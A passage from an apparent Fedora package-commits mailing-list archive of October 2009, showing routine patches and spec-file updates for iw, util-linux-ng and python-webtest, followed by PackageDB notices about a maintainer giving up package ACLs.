-	__COMMAND(#section, name, #name, args, cmd, flags, 0, idby, handler, help)
+	__COMMAND(&(__section ## _ ## section), name, #name, args, cmd, flags, 0, idby, handler, help)
 #define HIDDEN(section, name, args, cmd, flags, idby, handler)		\
-	__COMMAND(#section, name, #name, args, cmd, flags, 1, idby, handler, NULL)
-#define TOPLEVEL(name, args, cmd, flags, idby, handler, help)		\
-	__COMMAND(NULL, name, #name, args, cmd, flags, 0, idby, handler, help)
-extern struct cmd __start___cmd;
-extern struct cmd __stop___cmd;
+	__COMMAND(&(__section ## _ ## section), name, #name, args, cmd, flags, 1, idby, handler, NULL)
+
+#define TOPLEVEL(_name, _args, _nlcmd, _flags, _idby, _handler, _help)	\
+	const struct cmd						\
+	__section ## _ ## _name						\
+	__attribute__((used)) __attribute__((section("__cmd")))	= {	\
+		.name = (#_name),					\
+		.args = (_args),					\
+		.cmd = (_nlcmd),					\
+		.nl_msg_flags = (_flags),				\
+		.idby = (_idby),					\
+		.handler = (_handler),					\
+		.help = (_help),					\
+	 }
+#define SECTION(_name)							\
+	const struct cmd __section ## _ ## _name			\
+	__attribute__((used)) __attribute__((section("__cmd"))) = {	\
+		.name = (#_name),					\
+		.hidden = 1,						\
+	}
+
+#define DECLARE_SECTION(_name)						\
+	extern const struct cmd __section ## _ ## _name;
 
 extern const char iw_version[];
 
@@ -125,4 +143,8 @@ enum print_ie_type {
 void print_ies(unsigned char *ie, int ielen, bool unknown,
 	       enum print_ie_type ptype);
 
+
+DECLARE_SECTION(set);
+DECLARE_SECTION(get);
+
 #endif /* __IW_H */
diff --git a/link.c b/link.c
index 03acf58..c17f055 100644
--- a/link.c
+++ b/link.c
@@ -105,8 +105,6 @@ static int handle_scan_for_link(struct nl80211_state *state,
 	nl_cb_set(cb, NL_CB_VALID, NL_CB_CUSTOM, link_bss_handler, &lr);
 	return 0;
 }
-HIDDEN(link, get_bss, NULL, NL80211_CMD_GET_SCAN, NLM_F_DUMP,
-	CIB_NETDEV, handle_scan_for_link);
 
 static int print_link_sta(struct nl_msg *msg, void *arg)
 {
@@ -213,8 +211,6 @@ static int handle_link_sta(struct nl80211_state *state,
  nla_put_failure:
 	return -ENOBUFS;
 }
-HIDDEN(link, get_sta, "", NL80211_CMD_GET_STATION, 0,
-	CIB_NETDEV, handle_link_sta);
 
 static int handle_link(struct nl80211_state *state, struct nl_cb *cb,
 		       struct nl_msg *msg, int argc, char **argv)
@@ -255,3 +251,7 @@ static int handle_link(struct nl80211_state *state, struct nl_cb *cb,
 }
 TOPLEVEL(link, NULL, 0, 0, CIB_NETDEV, handle_link,
 	 "Print information about the current link, if any.");
+HIDDEN(link, get_sta, "", NL80211_CMD_GET_STATION, 0,
+	CIB_NETDEV, handle_link_sta);
+HIDDEN(link, get_bss, NULL, NL80211_CMD_GET_SCAN, NLM_F_DUMP,
+	CIB_NETDEV, handle_scan_for_link);
diff --git a/mpath.c b/mpath.c
index d590cff..e848481 100644
--- a/mpath.c
+++ b/mpath.c
@@ -11,6 +11,8 @@
 #include "nl80211.h"
 #include "iw.h"
 
+SECTION(mpath);
+
 enum plink_state {
 	LISTEN,
 	OPN_SNT,
diff --git a/reg.c b/reg.c
index a6bd74c..7f82e08 100644
--- a/reg.c
+++ b/reg.c
@@ -12,6 +12,8 @@
 #include "nl80211.h"
 #include "iw.h"
 
+SECTION(reg);
+
 #define MHZ_TO_KHZ(freq) ((freq) * 1000)
 #define KHZ_TO_MHZ(freq) ((freq) / 1000)
 #define DBI_TO_MBI(gain) ((gain) * 100)
diff --git a/scan.c b/scan.c
index b2d986b..9941775 100644
--- a/scan.c
+++ b/scan.c
@@ -108,10 +108,6 @@ static int handle_scan(struct nl80211_state *state,
 	nlmsg_free(freqs);
 	return err;
 }
-COMMAND(scan, trigger, "[freq <freq>*] [ssid <ssid>*|passive]",
-	NL80211_CMD_TRIGGER_SCAN, 0, CIB_NETDEV, handle_scan,
-	 "Trigger a scan on the given frequencies with probing for the given\n"
-	 "SSIDs (or wildcard if not given) unless passive scanning is requested.");
 
 static void tab_on_first(bool *first)
 {
@@ -877,10 +873,6 @@ static int handle_scan_dump(struct nl80211_state *state,
 		  &scan_params);
 	return 0;
 }
-COMMAND(scan, dump, "[-u]",
-	NL80211_CMD_GET_SCAN, NLM_F_DUMP, CIB_NETDEV, handle_scan_dump,
-	"Dump the current scan results. If -u is specified, print unknown\n"
-	"data in scan results.");
 
 static int handle_scan_combined(struct nl80211_state *state,
 				struct nl_cb *cb,
@@ -959,3 +951,11 @@ TOPLEVEL(scan, "[-u] [freq <freq>*] [ssid <ssid>*|passive]", 0, 0,
 	 "Scan on the given frequencies and probe for the given SSIDs\n"
 	 "(or wildcard if not given) unless passive scanning is requested.\n"
 	 "If -u is specified print unknown data in the scan results.");
+COMMAND(scan, dump, "[-u]",
+	NL80211_CMD_GET_SCAN, NLM_F_DUMP, CIB_NETDEV, handle_scan_dump,
+	"Dump the current scan results. If -u is specified, print unknown\n"
+	"data in scan results.");
+COMMAND(scan, trigger, "[freq <freq>*] [ssid <ssid>*|passive]",
+	NL80211_CMD_TRIGGER_SCAN, 0, CIB_NETDEV, handle_scan,
+	 "Trigger a scan on the given frequencies with probing for the given\n"
+	 "SSIDs (or wildcard if not given) unless passive scanning is requested.");
diff --git a/sections.c b/sections.c
new file mode 100644
index 0000000..38095f6
--- /dev/null
+++ b/sections.c
@@ -0,0 +1,4 @@
+#include "iw.h"
+
+SECTION(get);
+SECTION(set);
diff --git a/station.c b/station.c
index 33a9cad..0fff92d 100644
--- a/station.c
+++ b/station.c
@@ -11,6 +11,8 @@
 #include "nl80211.h"
 #include "iw.h"
 
+SECTION(station);
+
 enum plink_state {
 	LISTEN,
 	OPN_SNT,

iw-default-install-to-PREFIX-sbin.patch:
 Makefile |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE iw-default-install-to-PREFIX-sbin.patch ---
>From f8a9dbbbde041fca098b579c3669819e8282577a Mon Sep 17 00:00:00 2001
From: John W. Linville <linville at tuxdriver.com>
Date: Wed, 30 Sep 2009 09:17:39 -0400
Subject: [iw PATCH] default install to $(PREFIX)/sbin

The iw utility isn't generally useful to normal users, so move it to
$(PREFIX)/sbin with other system management executables.

Signed-off-by: John W. Linville <linville at tuxdriver.com>
---
As "suggested" by Johannes... :-)

 Makefile |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Makefile b/Makefile
index cb5fcc1..68bef4d 100644
--- a/Makefile
+++ b/Makefile
@@ -3,7 +3,7 @@
 MAKEFLAGS += --no-print-directory
 
 PREFIX ?= /usr
-BINDIR ?= $(PREFIX)/bin
+SBINDIR ?= $(PREFIX)/sbin
 MANDIR ?= $(PREFIX)/share/man
 PKG_CONFIG ?= pkg-config
 
@@ -85,8 +85,8 @@ check:
 
 install: iw iw.8.gz
 	@$(NQ) ' INST iw'
-	$(Q)$(MKDIR) $(DESTDIR)$(BINDIR)
-	$(Q)$(INSTALL) -m 755 -t $(DESTDIR)$(BINDIR) iw
+	$(Q)$(MKDIR) $(DESTDIR)$(SBINDIR)
+	$(Q)$(INSTALL) -m 755 -t $(DESTDIR)$(SBINDIR) iw
 	@$(NQ) ' INST iw.8'
 	$(Q)$(MKDIR) $(DESTDIR)$(MANDIR)/man8/
 	$(Q)$(INSTALL) -m 644 -t $(DESTDIR)$(MANDIR)/man8/ iw.8.gz
-- 
1.6.2.5



Index: iw.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iw/F-11/iw.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- iw.spec	11 Jul 2009 08:59:04 -0000	1.13
+++ iw.spec	1 Oct 2009 19:03:14 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           iw
-Version:        0.9.15
-Release:        1%{?dist}
+Version:        0.9.17
+Release:        3%{?dist}
 Summary:        A nl80211 based wireless configuration tool
 
 Group:          System Environment/Base
@@ -13,6 +13,9 @@ BuildRequires: kernel-devel >= 2.6.24 
 BuildRequires: libnl-devel >= 1.0
 BuildRequires: pkgconfig      
 
+Patch0:         iw-default-install-to-PREFIX-sbin.patch
+Patch1:         iw-avoid-section-type-conflict-on-ppc64.patch
+
 %description
 iw is a new nl80211 based CLI configuration utility for wireless devices.
 Currently you can only use this utility to configure devices which
@@ -21,6 +24,8 @@ only because most new wireless devices b
 
 %prep
 %setup -q
+%patch0 -p1
+%patch1 -p1 -R
 
 
 %build
@@ -29,7 +34,7 @@ make %{?_smp_mflags} CFLAGS="$RPM_OPT_FL
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 
 %clean
@@ -38,11 +43,26 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%{_bindir}/%{name}
+/sbin/%{name}
 %{_datadir}/man/man8/iw.*
 %doc COPYING
 
 %changelog
+* Thu Oct  1 2009 John W. Linville <linville at redhat.com> 0.9.17-3
+- Install in /sbin
+
+* Fri Sep  4 2009 John W. Linville <linville at redhat.com> 0.9.17-2
+- Revert "separate commands into sections", section type conflicts on ppc64
+
+* Fri Sep  4 2009 John W. Linville <linville at redhat.com> 0.9.17-1
+- Update to 0.9.17
+
+* Mon Aug 17 2009 Adel Gadllah <adel.gadllah at gmail.com> 0.9.16-1
+- Update to 0.9.16
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.15-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jul 11 2009 Adel Gadllah <adel.gadllah at gmail.com> 0.9.15-1
 - Update to 0.9.15
 



From kzak at fedoraproject.org  Thu Oct  1 19:05:22 2009
From: kzak at fedoraproject.org (kzak)
Date: Thu,  1 Oct 2009 19:05:22 +0000 (UTC)
Subject: rpms/util-linux-ng/devel util-linux-ng-2.16-switchroot-tty.patch,
	NONE, 1.1 util-linux-ng.spec, 1.60, 1.61
Message-ID: <20091001190522.82C6211C00C1@cvs1.fedora.phx.redhat.com>

Author: kzak

Update of /cvs/pkgs/rpms/util-linux-ng/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17262

Modified Files:
	util-linux-ng.spec 
Added Files:
	util-linux-ng-2.16-switchroot-tty.patch 
Log Message:
* Thu Oct  1 2009 Karel Zak <kzak at redhat.com> 2.16-11
- fix #519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device


util-linux-ng-2.16-switchroot-tty.patch:
 switch_root.c |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE util-linux-ng-2.16-switchroot-tty.patch ---
diff -up util-linux-ng-2.16/sys-utils/switch_root.c.kzak util-linux-ng-2.16/sys-utils/switch_root.c
--- util-linux-ng-2.16/sys-utils/switch_root.c.kzak	2009-10-01 21:01:31.000000000 +0200
+++ util-linux-ng-2.16/sys-utils/switch_root.c	2009-10-01 21:01:52.000000000 +0200
@@ -267,13 +267,6 @@ int main(int argc, char *argv[])
 	if (access(init, X_OK))
 		warn("cannot access %s", init);
 
-	/* get session leader */
-	setsid();
-
-	/* set controlling terminal */
-	if (ioctl (0, TIOCSCTTY, 1))
-		warn("failed to TIOCSCTTY");
-
 	execv(init, initargs);
 	err(EXIT_FAILURE, "failed to execute %s", init);
 }


Index: util-linux-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/util-linux-ng.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- util-linux-ng.spec	16 Sep 2009 19:04:11 -0000	1.60
+++ util-linux-ng.spec	1 Oct 2009 19:05:20 -0000	1.61
@@ -2,7 +2,7 @@
 Summary: A collection of basic system utilities
 Name: util-linux-ng
 Version: 2.16
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain
 Group: System Environment/Base
 URL: ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng
@@ -114,6 +114,8 @@ Patch10: util-linux-ng-2.16-libblkid-com
 Patch11: util-linux-ng-2.14-sfdisk-dump.patch
 # Swsuspend does not work
 Patch12: util-linux-ng-2.16-blkid-swsuspend.patch
+# 519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device
+Patch13: util-linux-ng-2.16-switchroot-tty.patch
 
 %description
 The util-linux-ng package contains a large variety of low-level system
@@ -722,6 +724,9 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Karel Zak <kzak at redhat.com> 2.16-11
+- fix #519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> - 2.16-10
 - use password-auth common PAM configuration instead of system-auth and
   drop pam_console.so call from the remote PAM config file



From linville at fedoraproject.org  Thu Oct  1 19:06:05 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 19:06:05 +0000 (UTC)
Subject: rpms/iw/F-11 .cvsignore,1.10,1.11 sources,1.10,1.11
Message-ID: <20091001190605.366E111C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/iw/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17596

Modified Files:
	.cvsignore sources 
Log Message:
forgot to update sources file...


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iw/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	11 Jul 2009 08:59:04 -0000	1.10
+++ .cvsignore	1 Oct 2009 19:06:04 -0000	1.11
@@ -1 +1 @@
-iw-0.9.15.tar.bz2
+iw-0.9.17.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iw/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	11 Jul 2009 08:59:05 -0000	1.10
+++ sources	1 Oct 2009 19:06:04 -0000	1.11
@@ -1 +1 @@
-98ba12eceec5a4ae8aa2d51abd56fa14  iw-0.9.15.tar.bz2
+427841093ac11c5cbc025a3e13aac139  iw-0.9.17.tar.bz2



From lmacken at fedoraproject.org  Thu Oct  1 19:33:00 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 19:33:00 +0000 (UTC)
Subject: rpms/python-webtest/EL-5 Makefile, 1.2, 1.3 import.log, 1.2,
	1.3 python-webtest.spec, 1.3, 1.4 sources, 1.3, 1.4 .cvsignore,
	1.2, 1.3 dead.package, 1.1, NONE
Message-ID: <20091001193300.0FA4711C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-webtest/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24478/EL-5

Modified Files:
	.cvsignore 
Added Files:
	Makefile import.log python-webtest.spec sources 
Removed Files:
	dead.package 
Log Message:
Re-add python-webtest to EL-5



Index: Makefile
===================================================================
RCS file: Makefile
diff -N Makefile
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ Makefile	1 Oct 2009 19:32:59 -0000	1.3
@@ -0,0 +1,21 @@
+# Makefile for source rpm: python-webtest
+# $Id$
+NAME := python-webtest
+SPECFILE = $(firstword $(wildcard *.spec))
+
+define find-makefile-common
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+endef
+
+MAKEFILE_COMMON := $(shell $(find-makefile-common))
+
+ifeq ($(MAKEFILE_COMMON),)
+# attept a checkout
+define checkout-makefile-common
+test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
+endef
+
+MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
+endif
+
+include $(MAKEFILE_COMMON)


Index: import.log
===================================================================
RCS file: import.log
diff -N import.log
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ import.log	1 Oct 2009 19:32:59 -0000	1.3
@@ -0,0 +1 @@
+python-webtest-1_2-1_fc10:EL-5:python-webtest-1.2-1.fc10.src.rpm:1254410691


Index: python-webtest.spec
===================================================================
RCS file: python-webtest.spec
diff -N python-webtest.spec
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ python-webtest.spec	1 Oct 2009 19:32:59 -0000	1.4
@@ -0,0 +1,81 @@
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+
+Name:           python-webtest
+Version:        1.2
+Release:        1%{?dist}
+Summary:        Helper to test WSGI applications
+
+Group:          Development/Languages
+License:        MIT
+URL:            http://pythonpaste.org/webtest/
+Source0:        http://pypi.python.org/packages/source/W/WebTest/WebTest-%{version}.tar.gz
+BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+
+BuildArch:      noarch
+BuildRequires:  python-setuptools-devel
+BuildRequires:  python-nose
+BuildRequires:  python-webob
+Requires:       python-webob
+
+%description
+WebTest wraps any WSGI application and makes it easy to send test
+requests to that application, without starting up an HTTP server.
+
+This provides convenient full-stack testing of applications written
+with any WSGI-compatible framework.
+
+%prep
+%setup -q -n WebTest-%{version}
+
+
+%build
+%{__python} setup.py build
+
+
+%install
+%{__rm} -rf %{buildroot}
+%{__python} setup.py install --skip-build --root %{buildroot}
+
+ 
+%clean
+%{__rm} -rf %{buildroot}
+
+
+%check
+./test
+
+
+%files
+%defattr(-,root,root,-)
+%doc docs/*
+%{python_sitelib}/webtest
+%{python_sitelib}/*.egg-info
+
+
+%changelog
+* Sun May 31 2009 Luke Macken <lmacken at redhat.com> - 1.2-1
+- Update to 1.2
+
+* Tue Apr 14 2009 Ricky Zhou <ricky at fedoraproject.org> - 1.1-3
+- Change define to global.
+- Remove old >= 8 conditional.
+- Remove unnecessary BuildRequires on python-devel.
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Dec 06 2008 Ricky Zhou <ricky at fedoraproject.org> - 1.1-1
+- Upstream released new version.
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 1.0-4
+- Rebuild for Python 2.6
+
+* Thu Jul 17 2008 Ricky Zhou <ricky at fedoraproject.org> - 1.0-3
+- Update Requires for python-webob rename.
+- Add BuildRequires on python-webob for tests.
+
+* Sat Jul 07 2008 Ricky Zhou <ricky at fedoraproject.org> - 1.0-2
+- Add %%check section.
+
+* Sat Jun 14 2008 Ricky Zhou <ricky at fedoraproject.org> - 1.0-1
+- Initial RPM Package.


Index: sources
===================================================================
RCS file: sources
diff -N sources
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sources	1 Oct 2009 19:32:59 -0000	1.4
@@ -0,0 +1 @@
+ec8f1a246d1033389d83afb86f840a5e  WebTest-1.2.tar.gz


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-webtest/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Oct 2008 02:19:04 -0000	1.2
+++ .cvsignore	1 Oct 2009 19:32:59 -0000	1.3
@@ -1 +1 @@
-WebTest-1.0.tar.gz
+WebTest-1.2.tar.gz


--- dead.package DELETED ---



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:39 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchbugzilla
Message-ID: <20091001193839.B4DCC10F875@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on telepathy-mission-control (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:40 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchcommits
Message-ID: <20091001193840.52DDF10F889@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on telepathy-mission-control (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:41 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up commit
Message-ID: <20091001193841.398C310F890@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on telepathy-mission-control (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:49 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchbugzilla
Message-ID: <20091001193849.8E6BE10F800@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on telepathy-mission-control (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:50 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchcommits
Message-ID: <20091001193850.BBAE910F87E@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on telepathy-mission-control (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:52 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up commit
Message-ID: <20091001193853.028D810F894@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on telepathy-mission-control (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:53 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchcommits
Message-ID: <20091001193854.9EF0A10F892@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on telepathy-mission-control (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:54 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchbugzilla
Message-ID: <20091001193854.A7F4D10F8A8@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on telepathy-mission-control (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:55 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up commit
Message-ID: <20091001193855.A5DB210F8AC@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on telepathy-mission-control (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:38:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:38:58 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchbugzilla
Message-ID: <20091001193858.F1F6D10F875@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on telepathy-mission-control (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:39:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:39:00 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchcommits
Message-ID: <20091001193900.1ACC010F8B2@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on telepathy-mission-control (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:39:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:39:00 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up commit
Message-ID: <20091001193900.923DE10F8B3@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on telepathy-mission-control (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:39:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:39:06 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchbugzilla
Message-ID: <20091001193906.1807910F895@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on telepathy-mission-control (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:39:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:39:06 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up watchcommits
Message-ID: <20091001193906.97AD810F8AB@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on telepathy-mission-control (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:39:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:39:08 +0000
Subject: [pkgdb] telepathy-mission-control: mcepl has given up commit
Message-ID: <20091001193908.3018110F8B5@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on telepathy-mission-control (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/telepathy-mission-control



From pkgdb at fedoraproject.org  Thu Oct  1 19:49:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:49:51 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchbugzilla
Message-ID: <20091001194951.0787C10F889@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-facebookchat (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:49:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:49:51 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchcommits
Message-ID: <20091001194951.D7EA110F892@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-facebookchat (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:49:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:49:53 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up commit
Message-ID: <20091001194953.74C1110F8A8@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-facebookchat (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:49:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:49:56 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up commit
Message-ID: <20091001194956.C2C4010F8AC@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-facebookchat (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:49:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:49:58 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchcommits
Message-ID: <20091001194958.0737710F8B0@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-facebookchat (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:49:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:49:58 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchbugzilla
Message-ID: <20091001194958.DC04010F8B3@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-facebookchat (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:00 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchbugzilla
Message-ID: <20091001195000.BAB5C10F7C4@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-facebookchat (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:01 2009
